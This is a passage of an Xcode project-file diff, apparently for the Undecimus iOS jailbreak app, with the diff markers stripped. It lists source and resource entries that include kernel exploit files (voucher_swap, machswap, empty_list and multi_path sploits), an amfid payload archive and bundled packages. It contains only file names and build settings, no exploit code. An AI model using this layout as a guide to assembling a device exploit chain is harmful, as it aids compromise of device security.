213E7828220865A100FDF3B7 /* voucher_swap-poc.c in Sources */ = {isa = PBXBuildFile; fileRef = 213E7827220865A100FDF3B7 /* voucher_swap-poc.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
214A1776224EBE5400588EC4 /* lzssdec.cpp in Sources */ = {isa = PBXBuildFile; fileRef = 214A1773224EBE5400588EC4 /* lzssdec.cpp */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
214A1777224EBE5400588EC4 /* kerneldec.cpp in Sources */ = {isa = PBXBuildFile; fileRef = 214A1774224EBE5400588EC4 /* kerneldec.cpp */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
2150A9CD22021330001C8677 /* voucher_swap.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9CC22021330001C8677 /* voucher_swap.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
2150A9DC22021348001C8677 /* log.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9CE22021347001C8677 /* log.c */; };
|
||||
2150A9DD22021348001C8677 /* platform_match.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9CF22021347001C8677 /* platform_match.c */; };
|
||||
2150A9DE22021348001C8677 /* platform.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9D422021347001C8677 /* platform.c */; };
|
||||
2150A9DF22021348001C8677 /* kernel_slide.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9D622021348001C8677 /* kernel_slide.c */; };
|
||||
2150A9E022021348001C8677 /* parameters.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9D922021348001C8677 /* parameters.c */; };
|
||||
2150A9E122021348001C8677 /* kernel_alloc.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9DA22021348001C8677 /* kernel_alloc.c */; };
|
||||
2150A9E222021348001C8677 /* kernel_memory.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9DB22021348001C8677 /* kernel_memory.c */; };
|
||||
2163BE2122A1DB4700518DD9 /* libsandbox.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 2163BE2022A1DB4700518DD9 /* libsandbox.tbd */; };
|
||||
216F3F3D2228776E007DC1BC /* kernel_call.c in Sources */ = {isa = PBXBuildFile; fileRef = 216F3F362228776D007DC1BC /* kernel_call.c */; };
|
||||
216F3F3E2228776E007DC1BC /* user_client.c in Sources */ = {isa = PBXBuildFile; fileRef = 216F3F372228776D007DC1BC /* user_client.c */; };
|
||||
216F3F3F2228776E007DC1BC /* pac.c in Sources */ = {isa = PBXBuildFile; fileRef = 216F3F3A2228776D007DC1BC /* pac.c */; };
|
||||
216F3F402228776E007DC1BC /* kc_parameters.c in Sources */ = {isa = PBXBuildFile; fileRef = 216F3F3C2228776E007DC1BC /* kc_parameters.c */; };
|
||||
216FDA1E220C5F5C0086D802 /* libz.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 216FDA1D220C5F5C0086D802 /* libz.tbd */; };
|
||||
2170BD3B21B193800059BD10 /* libMobileGestalt.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 211D0D84218DEF3E008745D8 /* libMobileGestalt.tbd */; };
|
||||
2170BDCD21B332FC0059BD10 /* SpringBoardServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 21C0FC902136A46500849420 /* SpringBoardServices.framework */; };
|
||||
2171C4012222E3BB004E45C7 /* SystemConfiguration.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 2171C4002222E3BB004E45C7 /* SystemConfiguration.framework */; };
|
||||
2199B8E9226B40C600A8255D /* kalloc_crash.c in Sources */ = {isa = PBXBuildFile; fileRef = 2199B8E8226B40C600A8255D /* kalloc_crash.c */; };
|
||||
219C90A0228703DA00AFA38A /* jailbreak.m in Sources */ = {isa = PBXBuildFile; fileRef = 219C909F228703DA00AFA38A /* jailbreak.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function -Wno-deprecated-declarations"; }; };
|
||||
21A97FD02148103C00DC0023 /* remote_memory.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FC62148103B00DC0023 /* remote_memory.c */; };
|
||||
21A97FD12148103C00DC0023 /* kexecute.m in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FC82148103B00DC0023 /* kexecute.m */; };
|
||||
21A97FD32148103C00DC0023 /* kutils.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCC2148103B00DC0023 /* kutils.c */; };
|
||||
21A97FD12148103C00DC0023 /* KernelExecution.m in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FC82148103B00DC0023 /* KernelExecution.m */; };
|
||||
21A97FD32148103C00DC0023 /* KernelUtilities.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCC2148103B00DC0023 /* KernelUtilities.c */; settings = {COMPILER_FLAGS = "-Wno-deprecated-declarations"; }; };
|
||||
21A97FD42148103C00DC0023 /* remote_call.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCD2148103B00DC0023 /* remote_call.c */; };
|
||||
21B421902261302F004C17CD /* MobileCoreServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 21B4218F2261302F004C17CD /* MobileCoreServices.framework */; };
|
||||
21BB9804222F05C40012AF40 /* machswap2_pwn.m in Sources */ = {isa = PBXBuildFile; fileRef = 21BB9802222F05C40012AF40 /* machswap2_pwn.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
21C0FC6C21369EB700849420 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6B21369EB700849420 /* AppDelegate.m */; };
|
||||
21C0FC7421369EB800849420 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 21C0FC7321369EB800849420 /* Assets.xcassets */; };
|
||||
21C0FC7721369EB800849420 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 21C0FC7521369EB800849420 /* LaunchScreen.storyboard */; };
|
||||
21C0FC7A21369EB800849420 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC7921369EB800849420 /* main.m */; };
|
||||
21C0FC8721369EE900849420 /* kmem.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8021369EE900849420 /* kmem.c */; };
|
||||
21C0FC8A21369EE900849420 /* offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8621369EE900849420 /* offsets.m */; };
|
||||
21C0FC8721369EE900849420 /* KernelMemory.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8021369EE900849420 /* KernelMemory.c */; };
|
||||
21C0FC8A21369EE900849420 /* KernelOffsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8621369EE900849420 /* KernelOffsets.m */; };
|
||||
21C130E0214BC2880021AA9D /* unlocknvram.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C130DE214BC2880021AA9D /* unlocknvram.c */; };
|
||||
21C130EB214C03690021AA9D /* CreditsTableViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C130EA214C03690021AA9D /* CreditsTableViewController.m */; };
|
||||
21C130FB214C1EBA0021AA9D /* untar.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C130FA214C1EBA0021AA9D /* untar.c */; };
|
||||
21C13105214C20950021AA9D /* tar.tar in Resources */ = {isa = PBXBuildFile; fileRef = 21C13100214C20950021AA9D /* tar.tar */; };
|
||||
21C13110214C2E570021AA9D /* strap.tar.lzma in Resources */ = {isa = PBXBuildFile; fileRef = 21C1310F214C2E570021AA9D /* strap.tar.lzma */; };
|
||||
21C13116214C51100021AA9D /* lzma.tar in Resources */ = {isa = PBXBuildFile; fileRef = 21C13115214C510F0021AA9D /* lzma.tar */; };
|
||||
21C13119214D268F0021AA9D /* multi_path_sploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C13117214D268F0021AA9D /* multi_path_sploit.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
21C1312F214E69F80021AA9D /* empty_list_sploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8521369EE900849420 /* empty_list_sploit.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
21FED6A72168DB460024BC95 /* Painting_With_Chocolate.ttf in Resources */ = {isa = PBXBuildFile; fileRef = 21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */; };
|
||||
21FED6AB2168F8060024BC95 /* SettingsTableViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
227629A521C64E640060080A /* substrate-dummy.deb in Resources */ = {isa = PBXBuildFile; fileRef = 227629A421C64E630060080A /* substrate-dummy.deb */; };
|
||||
21CC3905227CDFDE0072D572 /* prefs.m in Sources */ = {isa = PBXBuildFile; fileRef = 21CC3902227CDFDE0072D572 /* prefs.m */; };
|
||||
21CC3906227CDFDE0072D572 /* diagnostics.m in Sources */ = {isa = PBXBuildFile; fileRef = 21CC3903227CDFDE0072D572 /* diagnostics.m */; };
|
||||
21F4D70E21FC7A590070D5E0 /* patchfinder64.c in Sources */ = {isa = PBXBuildFile; fileRef = 21F4D70C21FC7A590070D5E0 /* patchfinder64.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
21FED6AB2168F8060024BC95 /* SettingsTableViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */; };
|
||||
21FF63CB224E5FDC008B76D9 /* offsetcache.c in Sources */ = {isa = PBXBuildFile; fileRef = 21FF63C9224E5FDC008B76D9 /* offsetcache.c */; };
|
||||
21FFE0F8222E4C0600EC59B2 /* machswap_offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 21FFE0F6222E4C0600EC59B2 /* machswap_offsets.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
21FFE0F9222E4C0600EC59B2 /* machswap_pwn.m in Sources */ = {isa = PBXBuildFile; fileRef = 21FFE0F7222E4C0600EC59B2 /* machswap_pwn.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
222AD59321FA731800DCBA2A /* FakeApt.m in Sources */ = {isa = PBXBuildFile; fileRef = 222AD59221FA731800DCBA2A /* FakeApt.m */; };
|
||||
225D142221E052960045493D /* ArchiveFile.m in Sources */ = {isa = PBXBuildFile; fileRef = 225D142121E052960045493D /* ArchiveFile.m */; };
|
||||
226689DD21EC1C5A00262F66 /* libarchive.2.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 226689DC21EC1C5A00262F66 /* libarchive.2.tbd */; };
|
||||
22C546AB21A8A8FD00EFC09C /* utils.m in Sources */ = {isa = PBXBuildFile; fileRef = 22C546AA21A8A8FD00EFC09C /* utils.m */; };
|
||||
22C546BA21A8D59C00EFC09C /* amfid_payload.tar in Resources */ = {isa = PBXBuildFile; fileRef = 22C546B921A8D59C00EFC09C /* amfid_payload.tar */; };
|
||||
22C546C721A8D8AC00EFC09C /* ca-certificates.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C321A8D7FA00EFC09C /* ca-certificates.deb */; };
|
||||
22C546C821A8D8AC00EFC09C /* cydia-lproj.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C621A8D7FA00EFC09C /* cydia-lproj.deb */; };
|
||||
22C546C921A8D8AC00EFC09C /* cydia.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C521A8D7FA00EFC09C /* cydia.deb */; };
|
||||
22C546CA21A8D8AC00EFC09C /* openssh.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C221A8D7FA00EFC09C /* openssh.deb */; };
|
||||
22C546CB21A8D8AC00EFC09C /* openssl.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C421A8D7FA00EFC09C /* openssl.deb */; };
|
||||
22C546CC21A8D8AC00EFC09C /* resources.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C121A8D7DA00EFC09C /* resources.deb */; };
|
||||
22CFED9221CDFE6B00A216BE /* libmis.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 22CFED9121CDFE6B00A216BE /* libmis.tbd */; };
|
||||
22F91CDB21E02CF300B2FCAE /* inject.m in Sources */ = {isa = PBXBuildFile; fileRef = 22F91CD921E02CF200B2FCAE /* inject.m */; };
|
||||
22F91CE321E033A500B2FCAE /* libsnappy.c in Sources */ = {isa = PBXBuildFile; fileRef = 22F91CE221E033A500B2FCAE /* libsnappy.c */; };
|
||||
51435081229E2F0C00446FBA /* Settings-Light.png in Resources */ = {isa = PBXBuildFile; fileRef = 51435080229E2F0C00446FBA /* Settings-Light.png */; };
|
||||
51F1DB24229ED54400B81A6F /* DarkMode-Dark.png in Resources */ = {isa = PBXBuildFile; fileRef = 51F1DB22229ED54300B81A6F /* DarkMode-Dark.png */; };
|
||||
51F1DB25229ED54400B81A6F /* Settings-Dark.png in Resources */ = {isa = PBXBuildFile; fileRef = 51F1DB23229ED54400B81A6F /* Settings-Dark.png */; };
|
||||
8D592A68218E47F60035D2BC /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 8D592A67218E47F60035D2BC /* Main.storyboard */; };
|
||||
/* End PBXBuildFile section */
|
||||
|
||||
@@ -68,38 +85,78 @@
|
||||
212D8846216E4DF600A36DA5 /* early_kalloc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = early_kalloc.c; sourceTree = "<group>"; };
|
||||
212D8848216E4EBE00A36DA5 /* async_wake.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = async_wake.h; sourceTree = "<group>"; };
|
||||
212D8849216E4EBE00A36DA5 /* async_wake.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = async_wake.c; sourceTree = "<group>"; };
|
||||
2139534B21763A0B00B17F8D /* rsync.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = rsync.tar; sourceTree = "<group>"; };
|
||||
21395357217CBA1000B17F8D /* MobileGestalt.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MobileGestalt.h; sourceTree = "<group>"; };
|
||||
21466CDB21AEEA3A00B99B4C /* injector.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = injector.deb; sourceTree = "<group>"; };
|
||||
21466CDD21AEEC9200B99B4C /* spawn.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = spawn.deb; sourceTree = "<group>"; };
|
||||
21A97FC42148103A00DC0023 /* kexecute.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kexecute.h; sourceTree = "<group>"; };
|
||||
213E78242208654700FDF3B7 /* necp.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = necp.h; sourceTree = "<group>"; };
|
||||
213E78252208654700FDF3B7 /* necp.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = necp.c; sourceTree = "<group>"; };
|
||||
213E7827220865A100FDF3B7 /* voucher_swap-poc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = "voucher_swap-poc.c"; sourceTree = "<group>"; };
|
||||
213E7829220865BF00FDF3B7 /* voucher_swap-poc.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "voucher_swap-poc.h"; sourceTree = "<group>"; };
|
||||
214A1772224EBE5400588EC4 /* kerneldec.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = kerneldec.h; path = kerneldec/kerneldec.h; sourceTree = SOURCE_ROOT; };
|
||||
214A1773224EBE5400588EC4 /* lzssdec.cpp */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.cpp; name = lzssdec.cpp; path = kerneldec/lzssdec.cpp; sourceTree = SOURCE_ROOT; };
|
||||
214A1774224EBE5400588EC4 /* kerneldec.cpp */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.cpp; name = kerneldec.cpp; path = kerneldec/kerneldec.cpp; sourceTree = SOURCE_ROOT; };
|
||||
214A1775224EBE5400588EC4 /* lzssdec.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = lzssdec.h; path = kerneldec/lzssdec.h; sourceTree = SOURCE_ROOT; };
|
||||
2150A9CB22021330001C8677 /* voucher_swap.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = voucher_swap.h; sourceTree = "<group>"; };
|
||||
2150A9CC22021330001C8677 /* voucher_swap.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = voucher_swap.c; sourceTree = "<group>"; };
|
||||
2150A9CE22021347001C8677 /* log.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = log.c; sourceTree = "<group>"; };
|
||||
2150A9CF22021347001C8677 /* platform_match.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = platform_match.c; sourceTree = "<group>"; };
|
||||
2150A9D022021347001C8677 /* parameters.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = parameters.h; sourceTree = "<group>"; };
|
||||
2150A9D122021347001C8677 /* kernel_alloc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_alloc.h; sourceTree = "<group>"; };
|
||||
2150A9D222021347001C8677 /* platform.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = platform.h; sourceTree = "<group>"; };
|
||||
2150A9D322021347001C8677 /* kernel_slide.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_slide.h; sourceTree = "<group>"; };
|
||||
2150A9D422021347001C8677 /* platform.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = platform.c; sourceTree = "<group>"; };
|
||||
2150A9D522021347001C8677 /* log.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = log.h; sourceTree = "<group>"; };
|
||||
2150A9D622021348001C8677 /* kernel_slide.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_slide.c; sourceTree = "<group>"; };
|
||||
2150A9D722021348001C8677 /* platform_match.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = platform_match.h; sourceTree = "<group>"; };
|
||||
2150A9D822021348001C8677 /* kernel_memory.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_memory.h; sourceTree = "<group>"; };
|
||||
2150A9D922021348001C8677 /* parameters.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = parameters.c; sourceTree = "<group>"; };
|
||||
2150A9DA22021348001C8677 /* kernel_alloc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_alloc.c; sourceTree = "<group>"; };
|
||||
2150A9DB22021348001C8677 /* kernel_memory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_memory.c; sourceTree = "<group>"; };
|
||||
2150A9E322021381001C8677 /* mach_vm.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = mach_vm.h; sourceTree = "<group>"; };
|
||||
2150A9E422021381001C8677 /* ipc_port.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ipc_port.h; sourceTree = "<group>"; };
|
||||
2150A9E52202138A001C8677 /* IOKitLib.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = IOKitLib.h; sourceTree = "<group>"; };
|
||||
2163BE1F22A1DB2400518DD9 /* sandbox.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = sandbox.h; sourceTree = "<group>"; };
|
||||
2163BE2022A1DB4700518DD9 /* libsandbox.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libsandbox.tbd; path = usr/lib/libsandbox.tbd; sourceTree = SDKROOT; };
|
||||
216F3F352228776D007DC1BC /* user_client.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = user_client.h; sourceTree = "<group>"; };
|
||||
216F3F362228776D007DC1BC /* kernel_call.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_call.c; sourceTree = "<group>"; };
|
||||
216F3F372228776D007DC1BC /* user_client.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = user_client.c; sourceTree = "<group>"; };
|
||||
216F3F382228776D007DC1BC /* pac.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = pac.h; sourceTree = "<group>"; };
|
||||
216F3F392228776D007DC1BC /* kernel_call.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_call.h; sourceTree = "<group>"; };
|
||||
216F3F3A2228776D007DC1BC /* pac.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = pac.c; sourceTree = "<group>"; };
|
||||
216F3F3B2228776D007DC1BC /* kc_parameters.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kc_parameters.h; sourceTree = "<group>"; };
|
||||
216F3F3C2228776E007DC1BC /* kc_parameters.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kc_parameters.c; sourceTree = "<group>"; };
|
||||
216FDA1D220C5F5C0086D802 /* libz.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libz.tbd; path = usr/lib/libz.tbd; sourceTree = SDKROOT; };
|
||||
2171C4002222E3BB004E45C7 /* SystemConfiguration.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = SystemConfiguration.framework; path = System/Library/Frameworks/SystemConfiguration.framework; sourceTree = SDKROOT; };
|
||||
2199B8E7226B40C600A8255D /* kalloc_crash.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = kalloc_crash.h; sourceTree = "<group>"; };
|
||||
2199B8E8226B40C600A8255D /* kalloc_crash.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = kalloc_crash.c; sourceTree = "<group>"; };
|
||||
219BF90422832DBC00A4B827 /* UIProgressHUD.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = UIProgressHUD.h; sourceTree = "<group>"; };
|
||||
219C909E228703DA00AFA38A /* jailbreak.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = jailbreak.h; sourceTree = "<group>"; };
|
||||
219C909F228703DA00AFA38A /* jailbreak.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = jailbreak.m; sourceTree = "<group>"; };
|
||||
21A97FC42148103A00DC0023 /* KernelExecution.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelExecution.h; sourceTree = "<group>"; };
|
||||
21A97FC52148103B00DC0023 /* remote_call.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = remote_call.h; sourceTree = "<group>"; };
|
||||
21A97FC62148103B00DC0023 /* remote_memory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = remote_memory.c; sourceTree = "<group>"; };
|
||||
21A97FC82148103B00DC0023 /* kexecute.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = kexecute.m; sourceTree = "<group>"; };
|
||||
21A97FC92148103B00DC0023 /* kutils.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kutils.h; sourceTree = "<group>"; };
|
||||
21A97FCA2148103B00DC0023 /* patchfinder64.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = patchfinder64.c; sourceTree = "<group>"; };
|
||||
21A97FCB2148103B00DC0023 /* patchfinder64.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = patchfinder64.h; sourceTree = "<group>"; };
|
||||
21A97FCC2148103B00DC0023 /* kutils.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kutils.c; sourceTree = "<group>"; };
|
||||
21A97FC82148103B00DC0023 /* KernelExecution.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelExecution.m; sourceTree = "<group>"; };
|
||||
21A97FC92148103B00DC0023 /* KernelUtilities.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelUtilities.h; sourceTree = "<group>"; };
|
||||
21A97FCC2148103B00DC0023 /* KernelUtilities.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = KernelUtilities.c; sourceTree = "<group>"; };
|
||||
21A97FCD2148103B00DC0023 /* remote_call.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = remote_call.c; sourceTree = "<group>"; };
|
||||
21A97FCE2148103C00DC0023 /* remote_memory.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = remote_memory.h; sourceTree = "<group>"; };
|
||||
21B4218F2261302F004C17CD /* MobileCoreServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = MobileCoreServices.framework; path = System/Library/Frameworks/MobileCoreServices.framework; sourceTree = SDKROOT; };
|
||||
21BB9802222F05C40012AF40 /* machswap2_pwn.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = machswap2_pwn.m; sourceTree = "<group>"; };
|
||||
21BB9803222F05C40012AF40 /* machswap2_pwn.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = machswap2_pwn.h; sourceTree = "<group>"; };
|
||||
21C0FC6721369EB700849420 /* Undecimus.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Undecimus.app; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
21C0FC6A21369EB700849420 /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = "<group>"; };
|
||||
21C0FC6B21369EB700849420 /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = "<group>"; };
|
||||
21C0FC6D21369EB700849420 /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = "<group>"; };
|
||||
21C0FC6E21369EB700849420 /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = "<group>"; wrapsLines = 0; };
|
||||
21C0FC6D21369EB700849420 /* JailbreakViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = JailbreakViewController.h; sourceTree = "<group>"; };
|
||||
21C0FC6E21369EB700849420 /* JailbreakViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = JailbreakViewController.m; sourceTree = "<group>"; wrapsLines = 0; };
|
||||
21C0FC7321369EB800849420 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
|
||||
21C0FC7621369EB800849420 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = "<group>"; };
|
||||
21C0FC7821369EB800849420 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
|
||||
21C0FC7921369EB800849420 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = "<group>"; };
|
||||
21C0FC8021369EE900849420 /* kmem.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kmem.c; sourceTree = "<group>"; };
|
||||
21C0FC8021369EE900849420 /* KernelMemory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = KernelMemory.c; sourceTree = "<group>"; };
|
||||
21C0FC8121369EE900849420 /* empty_list_sploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = empty_list_sploit.h; sourceTree = "<group>"; };
|
||||
21C0FC8221369EE900849420 /* offsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = offsets.h; sourceTree = "<group>"; };
|
||||
21C0FC8321369EE900849420 /* kmem.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kmem.h; sourceTree = "<group>"; };
|
||||
